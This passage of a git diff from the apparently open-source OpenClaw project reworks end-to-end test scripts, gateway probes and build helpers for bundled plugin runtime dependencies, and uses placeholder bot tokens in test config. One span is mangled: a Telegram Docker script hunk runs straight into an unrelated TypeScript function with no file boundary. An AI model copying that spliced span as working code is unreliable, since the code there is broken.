/tmp/openclaw-update-slack.json - assert_update_ok /tmp/openclaw-update-slack.json "$candidate_version" - bundled_channel_assert_dep_available slack @slack/web-api -fi - -if should_run_update_target feishu; then - echo "Mutating config to Feishu and rerunning same-version update path..." - bundled_channel_write_config feishu - bundled_channel_remove_runtime_dep feishu @larksuiteoapi/node-sdk - bundled_channel_assert_no_dep_available feishu @larksuiteoapi/node-sdk - run_update_and_capture feishu /tmp/openclaw-update-feishu.json - cat /tmp/openclaw-update-feishu.json - assert_update_ok /tmp/openclaw-update-feishu.json "$candidate_version" - bundled_channel_assert_dep_available feishu @larksuiteoapi/node-sdk -fi - -if should_run_update_target memory-lancedb; then - echo "Mutating config to memory-lancedb and rerunning same-version update path..." - bundled_channel_write_config memory-lancedb - bundled_channel_remove_runtime_dep memory-lancedb @lancedb/lancedb - bundled_channel_assert_no_dep_available memory-lancedb @lancedb/lancedb - run_update_and_capture memory-lancedb /tmp/openclaw-update-memory-lancedb.json - cat /tmp/openclaw-update-memory-lancedb.json - assert_update_ok /tmp/openclaw-update-memory-lancedb.json "$candidate_version" - bundled_channel_assert_dep_available memory-lancedb @lancedb/lancedb -fi - -if should_run_update_target acpx; then - echo "Removing ACPX runtime package and rerunning same-version update path..." - bundled_channel_write_config acpx - bundled_channel_remove_runtime_dep acpx acpx - bundled_channel_assert_no_dep_available acpx acpx - run_update_and_capture acpx /tmp/openclaw-update-acpx.json - cat /tmp/openclaw-update-acpx.json - assert_update_ok /tmp/openclaw-update-acpx.json "$candidate_version" - bundled_channel_assert_dep_available acpx acpx -fi - -echo "bundled channel runtime deps Docker update E2E passed" -EOF -} diff --git a/scripts/e2e/lib/bundled-channel/write-config.mjs b/scripts/e2e/lib/bundled-channel/write-config.mjs deleted file mode 100644 index 95154caf45a..00000000000 --- a/scripts/e2e/lib/bundled-channel/write-config.mjs +++ /dev/null @@ -1,190 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; - -const mode = process.argv[2]; -const token = process.argv[3]; -const port = Number(process.argv[4]); -const configPath = - process.env.OPENCLAW_BUNDLED_CHANNEL_CONFIG_PATH || - path.join(process.env.HOME, ".openclaw", "openclaw.json"); -const config = fs.existsSync(configPath) ? JSON.parse(fs.readFileSync(configPath, "utf8")) : {}; - -if (mode === "disabled-config") { - const stateDir = path.dirname(configPath); - const disabledConfig = { - gateway: { - mode: "local", - auth: { - mode: "token", - token: "disabled-config-runtime-deps-token", - }, - }, - plugins: { - enabled: true, - entries: { - discord: { enabled: false }, - }, - }, - channels: { - telegram: { - enabled: false, - botToken: "123456:disabled-config-token", - dmPolicy: "disabled", - groupPolicy: "disabled", - }, - slack: { - enabled: false, - botToken: "xoxb-disabled-config-token", - appToken: "xapp-disabled-config-token", - }, - discord: { - enabled: true, - token: "disabled-plugin-entry-token", - dmPolicy: "disabled", - groupPolicy: "disabled", - }, - }, - }; - fs.mkdirSync(path.join(stateDir, "agents", "main", "sessions"), { recursive: true }); - fs.writeFileSync(configPath, `${JSON.stringify(disabledConfig, null, 2)}\n`, "utf8"); - fs.chmodSync(stateDir, 0o700); - fs.chmodSync(configPath, 0o600); - process.exit(0); -} - -config.gateway = { - ...config.gateway, - port, - auth: { mode: "token", token }, - controlUi: { enabled: false }, -}; -config.agents = { - ...config.agents, - defaults: { - ...config.agents?.defaults, - model: { primary: "openai/gpt-4.1-mini" }, - }, -}; -config.models = { - ...config.models, - providers: { - ...config.models?.providers, - openai: { - ...config.models?.providers?.openai, - apiKey: process.env.OPENAI_API_KEY, - baseUrl: "https://api.openai.com/v1", - models: [], - }, - }, -}; -config.plugins = { - ...config.plugins, - enabled: true, -}; -config.channels = { - ...config.channels, - telegram: { - ...config.channels?.telegram, - enabled: mode === "telegram", - botToken: - process.env.OPENCLAW_BUNDLED_CHANNEL_TELEGRAM_TOKEN || "123456:bundled-channel-update-token", - dmPolicy: "disabled", - groupPolicy: "disabled", - }, - discord: { - ...config.channels?.discord, - enabled: mode === "discord", - dmPolicy: "disabled", - groupPolicy: "disabled", - }, - slack: { - ...config.channels?.slack, - enabled: mode === "slack", - botToken: - process.env.OPENCLAW_BUNDLED_CHANNEL_SLACK_BOT_TOKEN || "xoxb-bundled-channel-update-token", - appToken: - process.env.OPENCLAW_BUNDLED_CHANNEL_SLACK_APP_TOKEN || "xapp-bundled-channel-update-token", - }, - feishu: { - ...config.channels?.feishu, - enabled: mode === "feishu", - }, -}; -if (mode === "memory-lancedb") { - config.plugins = { - ...config.plugins, - enabled: true, - allow: [...new Set([...(config.plugins?.allow || []), "memory-lancedb"])], - slots: { - ...config.plugins?.slots, - memory: "memory-lancedb", - }, - entries: { - ...config.plugins?.entries, - "memory-lancedb": { - ...config.plugins?.entries?.["memory-lancedb"], - enabled: true, - config: { - ...config.plugins?.entries?.["memory-lancedb"]?.config, - embedding: { - ...config.plugins?.entries?.["memory-lancedb"]?.config?.embedding, - apiKey: process.env.OPENAI_API_KEY, - model: "text-embedding-3-small", - }, - dbPath: - process.env.OPENCLAW_BUNDLED_CHANNEL_MEMORY_DB_PATH || "~/.openclaw/memory/lancedb-e2e", - autoCapture: false, - autoRecall: false, - }, - }, - }, - }; -} -if (mode === "acpx") { - config.plugins = { - ...config.plugins, - enabled: true, - allow: - Array.isArray(config.plugins?.allow) && config.plugins.allow.length > 0 - ? [...new Set([...config.plugins.allow, "acpx"])] - : config.plugins?.allow, - entries: { - ...config.plugins?.entries, - acpx: { - ...config.plugins?.entries?.acpx, - enabled: true, - }, - }, - }; -} -if (mode === "setup-entry-channels") { - config.plugins = { - ...config.plugins, - enabled: true, - entries: { - ...config.plugins?.entries, - feishu: { - ...config.plugins?.entries?.feishu, - enabled: true, - }, - whatsapp: { - ...config.plugins?.entries?.whatsapp, - enabled: true, - }, - }, - }; - config.channels = { - ...config.channels, - feishu: { - ...config.channels?.feishu, - enabled: true, - }, - whatsapp: { - ...config.channels?.whatsapp, - enabled: true, - }, - }; -} - -fs.mkdirSync(path.dirname(configPath), { recursive: true }); -fs.writeFileSync(configPath, `${JSON.stringify(config, null, 2)}\n`, "utf8"); diff --git a/scripts/e2e/lib/bundled-channel/write-load-failure-fixture.mjs b/scripts/e2e/lib/bundled-channel/write-load-failure-fixture.mjs deleted file mode 100644 index 9f022ec38c7..00000000000 --- a/scripts/e2e/lib/bundled-channel/write-load-failure-fixture.mjs +++ /dev/null @@ -1,42 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; - -const [pluginDir] = process.argv.slice(2); -if (!pluginDir) { - throw new Error("usage: write-load-failure-fixture.mjs "); -} - -const writeJson = (filename, contents) => - fs.writeFileSync(path.join(pluginDir, filename), `${JSON.stringify(contents, null, 2)}\n`); - -fs.mkdirSync(pluginDir, { recursive: true }); -writeJson("package.json", { - name: "@openclaw/load-failure-alpha", - version: "2026.4.21", - private: true, - type: "module", - openclaw: { extensions: ["./index.js"], setupEntry: "./setup-entry.js" }, -}); -writeJson("openclaw.plugin.json", { - id: "load-failure-alpha", - channels: ["load-failure-alpha"], - configSchema: { type: "object", additionalProperties: false, properties: {} }, -}); -fs.writeFileSync( - path.join(pluginDir, "index.js"), - `export default { - kind: "bundled-channel-entry", id: "load-failure-alpha", name: "Load Failure Alpha", description: "Load Failure Alpha", register() {}, - loadChannelSecrets() { globalThis.__loadFailureSecrets = (globalThis.__loadFailureSecrets ?? 0) + 1; throw new Error("synthetic channel secrets failure"); }, - loadChannelPlugin() { globalThis.__loadFailurePlugin = (globalThis.__loadFailurePlugin ?? 0) + 1; throw new Error("synthetic channel plugin failure"); } -}; -`, -); -fs.writeFileSync( - path.join(pluginDir, "setup-entry.js"), - `export default { - kind: "bundled-channel-setup-entry", - loadSetupSecrets() { globalThis.__loadFailureSetupSecrets = (globalThis.__loadFailureSetupSecrets ?? 0) + 1; throw new Error("synthetic setup secrets failure"); }, - loadSetupPlugin() { globalThis.__loadFailureSetup = (globalThis.__loadFailureSetup ?? 0) + 1; throw new Error("synthetic setup plugin failure"); } -}; -`, -); diff --git a/scripts/e2e/lib/bundled-plugin-install-uninstall/runtime-smoke.mjs b/scripts/e2e/lib/bundled-plugin-install-uninstall/runtime-smoke.mjs index a1ae54238de..4ac67793e6b 100644 --- a/scripts/e2e/lib/bundled-plugin-install-uninstall/runtime-smoke.mjs +++ b/scripts/e2e/lib/bundled-plugin-install-uninstall/runtime-smoke.mjs @@ -565,12 +565,7 @@ function findReadyLogIndex(logPath) { function assertNoPostReadyRuntimeDepsWork(logPath, readyIndex) { const log = fs.existsSync(logPath) ? fs.readFileSync(logPath, "utf8") : ""; const postReady = log.slice(Math.max(0, readyIndex)); - const forbidden = [ - /\[plugins\].*installed bundled runtime deps/iu, - /\[plugins\].*installing bundled runtime deps/iu, - /\[plugins\].*staging bundled runtime deps/iu, - /\b(?:npm|pnpm|yarn|corepack) install\b/iu, - ]; + const forbidden = [/\b(?:npm|pnpm|yarn|corepack) install\b/iu]; const match = forbidden.find((pattern) => pattern.test(postReady)); if (match) { throw new Error(`post-ready runtime dependency work matched ${match}: ${tailText(postReady)}`); @@ -578,14 +573,7 @@ function assertNoPostReadyRuntimeDepsWork(logPath, readyIndex) { } function assertNoRuntimeDepsLocks() { - const roots = [ - ...(process.env.OPENCLAW_PLUGIN_STAGE_DIR ? [process.env.OPENCLAW_PLUGIN_STAGE_DIR] : []), - path.join( - process.env.OPENCLAW_STATE_DIR || path.join(process.env.HOME || os.homedir(), ".openclaw"), - "plugin-runtime-deps", - ), - path.join(process.cwd(), "dist", "extensions"), - ]; + const roots = [path.join(process.cwd(), "dist", "extensions")]; for (const root of roots) { if (!fs.existsSync(root)) { continue; diff --git a/scripts/e2e/lib/bundled-plugin-install-uninstall/sweep.sh b/scripts/e2e/lib/bundled-plugin-install-uninstall/sweep.sh index 3d882b06c82..6e34e9baf95 100644 --- a/scripts/e2e/lib/bundled-plugin-install-uninstall/sweep.sh +++ b/scripts/e2e/lib/bundled-plugin-install-uninstall/sweep.sh @@ -15,8 +15,6 @@ fi export OPENCLAW_ENTRY openclaw_e2e_eval_test_state_from_b64 "${OPENCLAW_TEST_STATE_SCRIPT_B64:?missing OPENCLAW_TEST_STATE_SCRIPT_B64}" -OPENCLAW_PLUGIN_STAGE_BASE_DIR="${OPENCLAW_PLUGIN_STAGE_DIR:-$HOME/.openclaw/plugin-runtime-deps}" -mkdir -p "$OPENCLAW_PLUGIN_STAGE_BASE_DIR" probe="scripts/e2e/lib/bundled-plugin-install-uninstall/probe.mjs" runtime_smoke="scripts/e2e/lib/bundled-plugin-install-uninstall/runtime-smoke.mjs" @@ -33,8 +31,6 @@ echo "Selected ${#plugin_entries[@]} bundled plugins for shard ${OPENCLAW_BUNDLE plugin_index=0 for plugin_entry in "${plugin_entries[@]}"; do IFS=$'\t' read -r plugin_id plugin_dir requires_config <<<"$plugin_entry" - export OPENCLAW_PLUGIN_STAGE_DIR="$OPENCLAW_PLUGIN_STAGE_BASE_DIR/$plugin_index-$plugin_id" - mkdir -p "$OPENCLAW_PLUGIN_STAGE_DIR" install_log="/tmp/openclaw-install-${plugin_index}.log" uninstall_log="/tmp/openclaw-uninstall-${plugin_index}.log" plugin_started_at="$(date +%s)" diff --git a/scripts/e2e/lib/gateway-network/client.mjs b/scripts/e2e/lib/gateway-network/client.mjs index 89b70e80819..e03053e8d45 100644 --- a/scripts/e2e/lib/gateway-network/client.mjs +++ b/scripts/e2e/lib/gateway-network/client.mjs @@ -8,30 +8,46 @@ if (!url || !token) { throw new Error("missing GW_URL/GW_TOKEN"); } -const CONNECT_READY_TIMEOUT_MS = Number.parseInt( - process.env.OPENCLAW_GATEWAY_NETWORK_CONNECT_READY_TIMEOUT_MS || "60000", +const deadlineMs = Number.parseInt( + process.env.OPENCLAW_GATEWAY_NETWORK_CLIENT_CONNECT_TIMEOUT_MS ?? + process.env.OPENCLAW_GATEWAY_NETWORK_CONNECT_READY_TIMEOUT_MS ?? + "80000", 10, ); +if (!Number.isFinite(deadlineMs) || deadlineMs < 0) { + throw new Error(`invalid gateway network client timeout: ${String(deadlineMs)}`); +} +const deadline = Date.now() + Math.max(1_000, deadlineMs); -async function openSocket() { +function delay(ms) { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +async function openSocket(timeoutMs = 10_000) { const ws = new WebSocket(url); await new Promise((resolve, reject) => { - const timer = setTimeout(() => reject(new Error("ws open timeout")), 30_000); + const timer = setTimeout(() => { + ws.close(); + reject(new Error("ws open timeout")); + }, timeoutMs); ws.once("open", () => { clearTimeout(timer); resolve(); }); ws.once("error", (error) => { clearTimeout(timer); - reject(error); + reject(error instanceof Error ? error : new Error(String(error))); }); }); return ws; } -function onceFrame(ws, filter, timeoutMs = 30_000) { +function onceFrame(ws, filter, timeoutMs = 10_000) { return new Promise((resolve, reject) => { - const timer = setTimeout(() => reject(new Error("timeout")), timeoutMs); + const timer = setTimeout(() => { + ws.off("message", handler); + reject(new Error("timeout")); + }, timeoutMs); const handler = (data) => { const obj = JSON.parse(String(data)); if (!filter(obj)) { @@ -45,52 +61,51 @@ function onceFrame(ws, filter, timeoutMs = 30_000) { }); } -async function attemptConnect() { - const ws = await openSocket(); - ws.send( - JSON.stringify({ - type: "req", - id: "c1", - method: "connect", - params: { - minProtocol: PROTOCOL_VERSION, - maxProtocol: PROTOCOL_VERSION, - client: { - id: "test", - displayName: "docker-net-e2e", - version: "dev", - platform: process.platform, - mode: "test", - }, - caps: [], - auth: { token }, - }, - }), - ); - - const connectRes = await onceFrame(ws, (frame) => frame?.type === "res" && frame?.id === "c1"); - if (connectRes.ok) { - ws.close(); - return; - } - ws.close(); - throw new Error(`connect failed: ${connectRes.error?.message ?? "unknown"}`); -} - -const startedAt = Date.now(); let lastError; -while (Date.now() - startedAt < CONNECT_READY_TIMEOUT_MS) { +while (Date.now() < deadline) { + let ws; try { - await attemptConnect(); - console.log("ok"); - process.exit(0); - } catch (error) { - lastError = error; - if (!String(error).includes("gateway starting")) { - throw error; + ws = await openSocket(); + ws.send( + JSON.stringify({ + type: "req", + id: "c1", + method: "connect", + params: { + minProtocol: PROTOCOL_VERSION, + maxProtocol: PROTOCOL_VERSION, + client: { + id: "test", + displayName: "docker-net-e2e", + version: "dev", + platform: process.platform, + mode: "test", + }, + caps: [], + auth: { token }, + }, + }), + ); + + const connectRes = await onceFrame(ws, (frame) => frame?.type === "res" && frame?.id === "c1"); + if (connectRes.ok) { + ws.close(); + console.log("ok"); + process.exit(0); } - await new Promise((resolve) => setTimeout(resolve, 500)); + + const message = connectRes.error?.message ?? "unknown"; + lastError = new Error(`connect failed: ${message}`); + if (!message.includes("gateway starting")) { + throw lastError; + } + } catch (error) { + lastError = error instanceof Error ? error : new Error(String(error)); + } finally { + ws?.close(); } + + await delay(500); } -throw lastError ?? new Error("connect failed"); +throw lastError ?? new Error("connect failed: timeout"); diff --git a/scripts/e2e/lib/kitchen-sink-plugin/assertions.mjs b/scripts/e2e/lib/kitchen-sink-plugin/assertions.mjs index 9cf2dad1533..e5f69915cb2 100644 --- a/scripts/e2e/lib/kitchen-sink-plugin/assertions.mjs +++ b/scripts/e2e/lib/kitchen-sink-plugin/assertions.mjs @@ -144,7 +144,7 @@ const expectMissing = (listValue, expected, field) => { } }; -const INVALID_PROBE_DIAGNOSTIC_SURFACE_MODES = new Set(["full", "adversarial"]); +const INVALID_PROBE_DIAGNOSTIC_SURFACE_MODES = new Set(["full", "conformance", "adversarial"]); function assertExpectedDiagnostics(surfaceMode, errorMessages) { const expectedErrorMessages = new Set([ diff --git a/scripts/e2e/lib/plugins/assertions.mjs b/scripts/e2e/lib/plugins/assertions.mjs index 0ec53f2f2c9..1a0a9653713 100644 --- a/scripts/e2e/lib/plugins/assertions.mjs +++ b/scripts/e2e/lib/plugins/assertions.mjs @@ -253,10 +253,11 @@ function assertGitPlugin() { if (!installPath || !fs.existsSync(installPath)) { throw new Error(`git install path missing on disk: ${installPath}`); } - const extensionsRoot = path.join(process.env.HOME, ".openclaw", "extensions"); - if (!installPath.startsWith(`${extensionsRoot}${path.sep}`)) { - throw new Error(`git install path is outside managed extensions root: ${installPath}`); + const gitRoot = path.join(process.env.HOME, ".openclaw", "git"); + if (!installPath.endsWith(`${path.sep}repo`)) { + throw new Error(`git install path should point at cloned repo root: ${installPath}`); } + assertRealPathInside(gitRoot, installPath, "git install path"); } function assertRealPathInside(parentPath, childPath, label) { diff --git a/scripts/e2e/lib/upgrade-survivor/assertions.mjs b/scripts/e2e/lib/upgrade-survivor/assertions.mjs index 64e9f7b41a2..208ae295699 100644 --- a/scripts/e2e/lib/upgrade-survivor/assertions.mjs +++ b/scripts/e2e/lib/upgrade-survivor/assertions.mjs @@ -285,10 +285,19 @@ function assertStateSurvived() { fs.existsSync(path.join(stateDir, "agents", "main", "sessions", "legacy-session.json")), "legacy session file missing", ); - assert( - fs.existsSync(path.join(stateDir, "plugin-runtime-deps", "discord")), - "plugin runtime deps root missing", - ); + const stage = process.env.OPENCLAW_UPGRADE_SURVIVOR_ASSERT_STAGE || "survival"; + const legacyRuntimeRoot = path.join(stateDir, "plugin-runtime-deps"); + if (stage === "baseline") { + assert( + fs.existsSync(path.join(legacyRuntimeRoot, "discord")), + "legacy plugin runtime deps root missing before doctor cleanup", + ); + } else { + assert( + !fs.existsSync(legacyRuntimeRoot), + `legacy plugin runtime deps root survived update/doctor: ${legacyRuntimeRoot}`, + ); + } if (scenario === "bootstrap-persona") { for (const [fileName, contents] of PERSONA_FILES) { const actual = fs.readFileSync(path.join(workspace, fileName), "utf8"); @@ -296,7 +305,6 @@ function assertStateSurvived() { } } if (scenario === "versioned-runtime-deps") { - const stage = process.env.OPENCLAW_UPGRADE_SURVIVOR_ASSERT_STAGE || "survival"; if (stage === "baseline") { return; } diff --git a/scripts/e2e/lib/upgrade-survivor/probe-gateway.mjs b/scripts/e2e/lib/upgrade-survivor/probe-gateway.mjs index aec17fb432d..ca65c35074d 100644 --- a/scripts/e2e/lib/upgrade-survivor/probe-gateway.mjs +++ b/scripts/e2e/lib/upgrade-survivor/probe-gateway.mjs @@ -26,16 +26,31 @@ const baseUrl = option("--base-url"); const probePath = option("--path"); const expectKind = option("--expect"); const out = option("--out"); -const url = new URL(probePath, baseUrl).toString(); const timeoutMs = Number.parseInt( - process.env.OPENCLAW_UPGRADE_SURVIVOR_PROBE_TIMEOUT_MS || "60000", + option("--timeout-ms", process.env.OPENCLAW_UPGRADE_SURVIVOR_PROBE_TIMEOUT_MS || "60000"), 10, ); +const url = new URL(probePath, baseUrl).toString(); + +if (!Number.isFinite(timeoutMs) || timeoutMs < 0) { + throw new Error(`invalid --timeout-ms: ${String(timeoutMs)}`); +} +if (expectKind !== "live" && expectKind !== "ready") { + throw new Error(`unknown probe expectation: ${expectKind}`); +} + +function matchesExpectation(body) { + if (expectKind === "live") { + return body?.ok === true && body?.status === "live"; + } + return body?.ready === true; +} const startedAt = Date.now(); let lastError; -while (Date.now() - startedAt < timeoutMs) { - const attemptStartedAt = Date.now(); +let lastResult; + +while (Date.now() - startedAt <= timeoutMs) { try { const response = await fetch(url, { method: "GET" }); const text = await response.text(); @@ -45,34 +60,31 @@ while (Date.now() - startedAt < timeoutMs) { } catch (error) { throw new Error(`${url} returned non-JSON probe body: ${String(error)}`, { cause: error }); } - - if (!response.ok) { - throw new Error(`${url} probe failed with HTTP ${response.status}: ${text}`); - } - if (expectKind === "live") { - if (body?.ok !== true || body?.status !== "live") { - throw new Error(`${url} did not report live status: ${text}`); - } - } else if (expectKind === "ready") { - if (body?.ready !== true) { - throw new Error(`${url} did not report ready status: ${text}`); - } - } else { - throw new Error(`unknown probe expectation: ${expectKind}`); - } - - writeJson(out, { + lastResult = { body, - elapsedMs: Date.now() - startedAt, - path: probePath, status: response.status, - url, - }); - process.exit(0); + text, + }; + if (response.ok && matchesExpectation(body)) { + writeJson(out, { + body, + elapsedMs: Date.now() - startedAt, + path: probePath, + status: response.status, + url, + }); + process.exit(0); + } + lastError = response.ok + ? `${url} did not report ${expectKind} status: ${text}` + : `${url} probe failed with HTTP ${response.status}: ${text}`; } catch (error) { - lastError = error; - const elapsedMs = Date.now() - attemptStartedAt; - await new Promise((resolve) => setTimeout(resolve, Math.max(100, 500 - elapsedMs))); + lastError = error instanceof Error ? error.message : String(error); } + await new Promise((resolve) => setTimeout(resolve, 500)); } -throw lastError ?? new Error(`${url} probe timed out`); + +const suffix = lastResult ? ` (last HTTP ${lastResult.status}: ${lastResult.text})` : ""; +throw new Error( + `${url} probe did not satisfy ${expectKind} within ${timeoutMs}ms: ${lastError ?? "no response"}${suffix}`, +); diff --git a/scripts/e2e/lib/upgrade-survivor/run.sh b/scripts/e2e/lib/upgrade-survivor/run.sh index 4e87d1380b1..18c5305138d 100644 --- a/scripts/e2e/lib/upgrade-survivor/run.sh +++ b/scripts/e2e/lib/upgrade-survivor/run.sh @@ -302,7 +302,7 @@ assert_legacy_runtime_deps_symlink_repaired() { local target_dir target_dir="$(legacy_runtime_deps_symlink_target "$plugin")" if [ -L "$target_dir" ]; then - echo "legacy runtime deps symlink survived package update: $target_dir -> $(readlink "$target_dir")" >&2 + echo "legacy runtime deps symlink survived update/doctor: $target_dir -> $(readlink "$target_dir")" >&2 return 1 fi echo "Legacy runtime deps symlink repaired for $plugin." @@ -536,8 +536,8 @@ phase assert-baseline assert_baseline_state phase seed-legacy-runtime-deps-symlink seed_legacy_runtime_deps_symlink phase resolve-candidate resolve_candidate_version phase update-candidate update_candidate -phase assert-legacy-runtime-deps-symlink-repaired assert_legacy_runtime_deps_symlink_repaired phase doctor run_doctor +phase assert-legacy-runtime-deps-symlink-repaired assert_legacy_runtime_deps_symlink_repaired phase validate-post-doctor-config validate_post_doctor_config phase assert-survival assert_survival phase gateway-start start_gateway diff --git a/scripts/e2e/npm-onboard-channel-agent-docker.sh b/scripts/e2e/npm-onboard-channel-agent-docker.sh index 88b729df9d1..588d6dc99ae 100644 --- a/scripts/e2e/npm-onboard-channel-agent-docker.sh +++ b/scripts/e2e/npm-onboard-channel-agent-docker.sh @@ -134,7 +134,7 @@ node scripts/e2e/lib/npm-onboard-channel-agent/assertions.mjs assert-channel-con echo "Running doctor after channel activation..." openclaw doctor --repair --non-interactive >/tmp/openclaw-doctor.log 2>&1 -openclaw_e2e_assert_dep_present "$DEP_SENTINEL" "$package_root" "$HOME/.openclaw" +openclaw_e2e_assert_dep_absent "$DEP_SENTINEL" "$package_root" "$HOME/.openclaw" echo "Running local agent turn against mocked OpenAI..." openclaw agent --local \ diff --git a/scripts/e2e/npm-telegram-live-docker.sh b/scripts/e2e/npm-telegram-live-docker.sh index 4903c70d6dc..14ffa1e81af 100755 --- a/scripts/e2e/npm-telegram-live-docker.sh +++ b/scripts/e2e/npm-telegram-live-docker.sh @@ -304,12 +304,6 @@ if [ "${OPENCLAW_NPM_TELEGRAM_SKIP_HOTPATH:-0}" != "1" ]; then openclaw channels add --channel telegram --token "123456:openclaw-npm-telegram-hotpath" >/tmp/openclaw-npm-telegram-channel-add.log 2>&1 /tmp/openclaw-npm-telegram-doctor-fix.log 2>&1 /tmp/openclaw-npm-telegram-doctor-check.log 2>&1 { await mkdir(input.destination, { recursive: true }); if (input.packageSpec) { @@ -126,9 +125,6 @@ export async function packOpenClaw(input: { "--eval", "import { writePackageDistInventory } from './src/infra/package-dist-inventory.ts'; await writePackageDistInventory(process.cwd());", ]); - if (input.stageRuntimeDeps) { - run("node", ["scripts/stage-bundled-plugin-runtime-deps.mjs"]); - } const shortHead = run("git", ["rev-parse", "--short", "HEAD"], { quiet: true }).stdout.trim(); const output = run( "npm", diff --git a/scripts/lib/bundled-plugin-build-entries-types.d.ts b/scripts/lib/bundled-plugin-build-entries-types.d.ts index f5326f85925..f7000f3b6e2 100644 --- a/scripts/lib/bundled-plugin-build-entries-types.d.ts +++ b/scripts/lib/bundled-plugin-build-entries-types.d.ts @@ -18,6 +18,3 @@ export function listBundledPluginBuildEntries( params?: BundledPluginBuildEntryParams, ): Record; export function listBundledPluginPackArtifacts(params?: BundledPluginBuildEntryParams): string[]; -export function listBundledPluginRuntimeDependencies( - params?: BundledPluginBuildEntryParams, -): string[]; diff --git a/scripts/lib/bundled-plugin-build-entries.mjs b/scripts/lib/bundled-plugin-build-entries.mjs index 0712ef6350e..bc3d1c04d49 100644 --- a/scripts/lib/bundled-plugin-build-entries.mjs +++ b/scripts/lib/bundled-plugin-build-entries.mjs @@ -47,10 +47,6 @@ function collectPluginSourceEntries(packageJson) { return packageEntries.length > 0 ? packageEntries : ["./index.ts"]; } -function shouldStageBundledPluginRuntimeDependencies(packageJson) { - return packageJson?.openclaw?.bundle?.stageRuntimeDependencies === true; -} - function collectTopLevelPublicSurfaceEntries(pluginDir) { if (!fs.existsSync(pluginDir)) { return []; @@ -166,23 +162,3 @@ export function listBundledPluginPackArtifacts(params = {}) { return [...artifacts].toSorted((left, right) => left.localeCompare(right)); } - -export function listBundledPluginRuntimeDependencies(params = {}) { - const runtimeDependencies = new Set(); - - for (const { packageJson } of collectBundledPluginBuildEntries(params)) { - if (!shouldStageBundledPluginRuntimeDependencies(packageJson)) { - continue; - } - - for (const dependencyName of Object.keys(packageJson?.dependencies ?? {})) { - runtimeDependencies.add(dependencyName); - } - - for (const dependencyName of Object.keys(packageJson?.optionalDependencies ?? {})) { - runtimeDependencies.add(dependencyName); - } - } - - return [...runtimeDependencies].toSorted((left, right) => left.localeCompare(right)); -} diff --git a/scripts/lib/bundled-plugin-root-runtime-mirrors.mjs b/scripts/lib/bundled-plugin-root-runtime-mirrors.mjs index c15d2b0a26a..2c158722880 100644 --- a/scripts/lib/bundled-plugin-root-runtime-mirrors.mjs +++ b/scripts/lib/bundled-plugin-root-runtime-mirrors.mjs @@ -1,7 +1,6 @@ import fs from "node:fs"; import path from "node:path"; -const JS_EXTENSIONS = new Set([".cjs", ".js", ".mjs"]); export function collectRuntimeDependencySpecs(packageJson = {}) { return new Map( [ @@ -28,39 +27,22 @@ export function packageNameFromSpecifier(specifier) { return first.startsWith("@") && second ? `${first}/${second}` : first; } -function readJson(filePath) { - return JSON.parse(fs.readFileSync(filePath, "utf8")); -} - -function collectPackageJsonPaths(rootDir) { - if (!fs.existsSync(rootDir)) { - return []; - } - return fs - .readdirSync(rootDir, { withFileTypes: true }) - .filter((entry) => entry.isDirectory()) - .map((entry) => path.join(rootDir, entry.name, "package.json")) - .filter((packageJsonPath) => fs.existsSync(packageJsonPath)) - .toSorted((left, right) => left.localeCompare(right)); -} - -function usesStagedRuntimeDependencies(packageJson) { - return packageJson?.openclaw?.bundle?.stageRuntimeDependencies === true; -} - -function dependencySentinelPath(packageRoot, dependencyName) { - return path.join(packageRoot, "node_modules", ...dependencyName.split("/"), "package.json"); -} - -function pluginIdFromPackageJsonPath(packageJsonPath) { - return path.basename(path.dirname(packageJsonPath)); -} - export function collectBundledPluginRuntimeDependencySpecs(bundledPluginsDir) { const specs = new Map(); - for (const packageJsonPath of collectPackageJsonPaths(bundledPluginsDir)) { - const packageJson = readJson(packageJsonPath); + if (!fs.existsSync(bundledPluginsDir)) { + return specs; + } + + const packageJsonPaths = fs + .readdirSync(bundledPluginsDir, { withFileTypes: true }) + .filter((entry) => entry.isDirectory()) + .map((entry) => path.join(bundledPluginsDir, entry.name, "package.json")) + .filter((packageJsonPath) => fs.existsSync(packageJsonPath)) + .toSorted((left, right) => left.localeCompare(right)); + + for (const packageJsonPath of packageJsonPaths) { + const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, "utf8")); const pluginId = path.basename(path.dirname(packageJsonPath)); for (const [name, spec] of collectRuntimeDependencySpecs(packageJson)) { const existing = specs.get(name); @@ -78,178 +60,3 @@ export function collectBundledPluginRuntimeDependencySpecs(bundledPluginsDir) { return specs; } - -export function collectBuiltBundledPluginStagedRuntimeDependencyErrors(params) { - const errors = []; - - for (const packageJsonPath of collectPackageJsonPaths(params.bundledPluginsDir)) { - const packageJson = readJson(packageJsonPath); - if (!usesStagedRuntimeDependencies(packageJson)) { - continue; - } - const pluginId = pluginIdFromPackageJsonPath(packageJsonPath); - const pluginRoot = path.dirname(packageJsonPath); - - for (const [dependencyName, spec] of collectRuntimeDependencySpecs(packageJson)) { - if (!fs.existsSync(dependencySentinelPath(pluginRoot, dependencyName))) { - const specText = String(spec); - errors.push( - `built bundled plugin '${pluginId}' is missing staged runtime dependency '${dependencyName}: ${specText}' under dist/extensions/${pluginId}/node_modules.`, - ); - } - } - } - - return errors.toSorted((left, right) => left.localeCompare(right)); -} - -function walkJavaScriptFiles(rootDir) { - const files = []; - if (!fs.existsSync(rootDir)) { - return files; - } - const queue = [rootDir]; - while (queue.length > 0) { - const current = queue.shift(); - for (const entry of fs.readdirSync(current, { withFileTypes: true })) { - const fullPath = path.join(current, entry.name); - if (entry.isDirectory()) { - if (entry.name === "node_modules") { - continue; - } - queue.push(fullPath); - continue; - } - if (entry.isFile() && JS_EXTENSIONS.has(path.extname(entry.name))) { - files.push(fullPath); - } - } - } - return files.toSorted((left, right) => left.localeCompare(right)); -} - -function extractModuleSpecifiers(source) { - const specifiers = new Set(); - const patterns = [ - /\bfrom\s*["']([^"']+)["']/g, - /\bimport\s*["']([^"']+)["']/g, - /\bimport\s*\(\s*["']([^"']+)["']\s*\)/g, - /\brequire\s*\(\s*["']([^"']+)["']\s*\)/g, - ]; - for (const pattern of patterns) { - for (const match of source.matchAll(pattern)) { - if (match[1]) { - specifiers.add(match[1]); - } - } - } - return specifiers; -} - -function isPluginOwnedDistImporter(relativePath, source, pluginIds) { - return pluginIds.some( - (pluginId) => - relativePath.startsWith(`extensions/${pluginId}/`) || - source.includes(`//#region extensions/${pluginId}/`), - ); -} - -export function collectRootDistBundledRuntimeMirrors(params) { - const distDir 